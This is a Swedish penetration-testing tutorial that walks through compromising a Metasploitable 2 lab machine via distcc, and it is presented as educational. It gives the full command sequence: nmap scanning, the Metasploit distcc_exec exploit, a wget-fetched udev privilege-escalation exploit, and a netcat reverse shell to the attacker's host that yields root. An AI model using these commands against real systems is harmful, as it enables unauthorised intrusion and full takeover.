Sec24 – Distcc

Av: Oscar Andersson, Sec24, 2013-05-04

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.

Bakgrund: distcc är programmerat för att påskynda kompilering av C, C++, Objective C eller Objective C++ builds genom att utnyttja oanvänd processorkraft från andra datorer. En dator som har distcc installerat kan skicka kod som ska kompileras över nätverket till en annan dator som har distcc daemonen och en kompatibel kompilator installerad.

Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.

Detta görs genom kommandot ifconfig.

2-1

Starta nu upp Backtrack och öppna en ny terminal.

Skriv följande kommandon:

cd /pentest/exploits/framework2

nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt

linux penetrationstest distcc nmap 1

Vi får nu fram flera portar som är öppna. I distcc fallet är det den öppna porten 3632 som är intressant då distcc i de flesta fall körs på just port 3632.

För att filtrera resultatet när nmap körts klart kan vi köra kommandot:

grep 3632 /var/tmp/scan.txt

linux penetrationstest distcc nmap grep

I Backtrack går vi nu in under Applications –> BackTrack –> Exploitation Tools –> Network Exploitation Tools –> Metasploit Framework –> msfconsole.

Vänta några sekunder på att applikationen ska starta.

Kör följande kommandon:

search distcc

use exploit/unix/misc/distcc_exec

linux penetrationstest distcc msf exploit

Kör nu kommandona

show payloads

set payload cmd/unix/bind_ruby

linux penetrationstest distcc msf payload

Payload är mjukvaran som låter dig styra ett datorsystem efter det har tagits över. Payloaden är oftast ansluten till och levereras av exploiten. Tänk er att exploiten bär payloaden i en ryggsäck när den bryter sig in i ett datorsystemet och sedan lämnar expoliten ryggsäcken därinne.

Kör nu kommandona:

show options

set RHOST 192.168.1.125 (Metasploitable IP)

linux penetrationstest distcc msf options

För att kontrollera att IP-adressen verkligen är satt kan vi köra kommandot show options igen.

linux penetrationstest distcc msf options 2

Vi kör nu kommandot:

exploit

linux penetrationstest distcc msf exploit port 3632

När kommandot har körts är vi anslutna till servern och vi kan nu köra kommandon på Metasploitableservern. Kommandon vi kan köra för att bekräfta detta är bland annat:

hostname

ifconfig

linux penetrationstest distcc msf hostname

Vi kör nu kommandot whoami för att se vilken användare vi är och därav vilka privilegier vi har.

linux penetrationstest distcc msf whoami

Notera att vi är daemon-användaren. För att få full kontroll vill vi bli root vilket vi nu ska bli.

Vi börjar med att ladda ner ett exploit för distcc till Metasploitableservern, kompilerar det och kontrollerar sedan att allt gått vägen.

wget http://www.exploit-db.com/download/8572 -O exploit-8572.c

gcc exploit-8572.c -o exploit-8572

ls -l

linux penetrationstest distcc exploit privileged escalation

Behåll terminalen för exploiten uppe och starta sedan upp en ny terminal i BackTrack och kör följande kommando i den nya terminalen:

netcat -vlp 4444

linux penetrationstest distcc netcat

Netcat brukar benämnas som en Schweizisk armékniv för TCP/IP. Netcat är en nätverkstjänst som läser och skriver nätverksanslutningar via TCP eller UDP.

I nästa steg behöver du veta BackTracks IP-adress. Kan du inte den så öppna ytterligare en ny terminal och kör kommandot ifconfig.

linux penetrationstest distcc exploit ifconfig

Kör nu följande kommandon i Metasploitableterminalen: IP-adressen på rad två är BackTracks och inte Metasploitables.

echo ‘#!/bin/sh’ > /tmp/run
echo ‘/bin/netcat -e /bin/sh 192.168.1.4 4444′ >> /tmp/run
ps -eaf | grep udev | grep -v grep

linux penetrationstest distcc exploit netcat 2

Subtrahera nu ett från process ID (PID) som är markerat ovan och kör följande kommando:

./exploit-8572 2767 (2768-1 = 2767)

Om allt gått vägen borde det nu hänt något i netcat-terminalen.

linux penetrationstest distcc exploit netcat 3

Vi skriver nu whoami i netcatterminalen och får då fram att vi är root och har full kontroll över servern.

linux penetrationstest distcc exploit netcat root

För att förstå mer av vad som händer kan vi logga in på Metasploitableservern och köra följande kommandon:

sudo su

netstat -naop | grep 4444 (Visar Metasploitesessionen)

ps -eaf | grep 5914 | grep -v grep (Ruby Payload)

ps -eaf | grep 5999 | grep -v grep (Netcat /bin/sh)

ps -eaf | grep 5998 | grep -v grep (Exploit CVE 2009-1185)

metasploitable netstat 4444 ps 2